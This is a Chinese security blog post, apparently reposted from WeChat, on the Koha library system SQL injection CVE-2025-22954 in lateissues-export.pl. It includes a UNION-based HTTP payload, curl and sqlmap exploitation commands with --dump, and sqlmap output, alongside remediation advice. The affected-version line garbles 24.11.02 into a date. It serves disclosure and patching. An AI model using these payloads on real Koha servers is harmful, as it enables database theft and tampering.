漏洞获取地址在文章末尾
概述Koha是网页界面的图书馆自动化管理系统,使用 MariaDB 或 MySQL 等SQL数据库,图书管理通讯格式为机读编目格式标准,查询界面可以是 Z39.50 或 Retrieve_via_URL。其中使用者界面可供设定与修改
CVE 编号 | CVE-2025-22954 |
---|---|
CVSS v3 | 10.0(严重) |
EPSS评分 | 0.03%(前 5.26%) |
发布 | 2025 年 3 月 12 日 |
固定于 | 柯哈 24.11.02 |
错误参考 | Koha 错误 #38829 |
发行说明 | Koha 24.11.02 版本 |
漏洞详细信息
该漏洞源于对脚本中传递给 函数的supplierid和serialid参数中的用户输入的不安全处理。该函数在将这些输入用于 SQL 查询之前未正确清理或参数化这些输入,从而允许 SQL 注入攻击。lateissues-export.plGetLateOrMissingIssuesC4/Serials.pm
受影响的代码
lateissues-export.pl
)包含以下代码:my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
GetLateOrMissingIssues
中的函数可能C4/Serials.pm
包含易受攻击的 SQL 查询构造,其中$supplierid
和$serialid
参数直接连接到 SQL 语句中而没有进行适当的参数化。概念验证
先决条件
- 一个易受攻击的 Koha 实例(2002 年 11 月 24 日之前)
- 访问
lateissues-export.pl
脚本
漏洞利用方法
HTTP 请求方法
以下原始 HTTP 请求可用于利用此漏洞:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
使用 curl
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
使用 SQLMap
SQLMap 可用于自动利用此漏洞。首先,使用有效的身份验证 cookie 捕获对易受攻击的端点的请求,然后使用 SQLMap 利用注入点。
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
request.txt 文件示例:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
你也可以直接使用 SQLMap 来利用该漏洞:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1"
-p supplierid
--dbms=mysql
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
影响
此漏洞允许经过身份验证的攻击者:
- 从数据库中提取敏感信息
- 修改数据库中的数据
- 可能在数据库服务器上执行任意命令
- 可能获得底层操作系统的访问权限
修复
更新至 Koha 版本 24.11.02 或更高版本,其中包含针对此漏洞的修复。
如果无法立即更新,请考虑实施以下临时缓解措施:
/serials/lateissues-export.pl
仅允许受信任的 IP 地址访问脚本- 实施 Web 应用程序防火墙 (WAF) 规则以阻止对此端点的潜在恶意请求
- 修改
C4/Serials.pm
文件以正确参数化GetLateOrMissingIssues
函数中的 SQL 查询
免责声明
作者不对任何滥用此信息的行为负责。此概念证明应仅用于您拥有的系统或获得明确测试许可的系统。
工具获取,后台回复【CVE-2025-22954】
更多精彩文章与工具分享 欢迎关注
原文始发于微信公众号(爱坤sec):Koha CVE-2025-22954:lateissues-export.pl SQL 注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论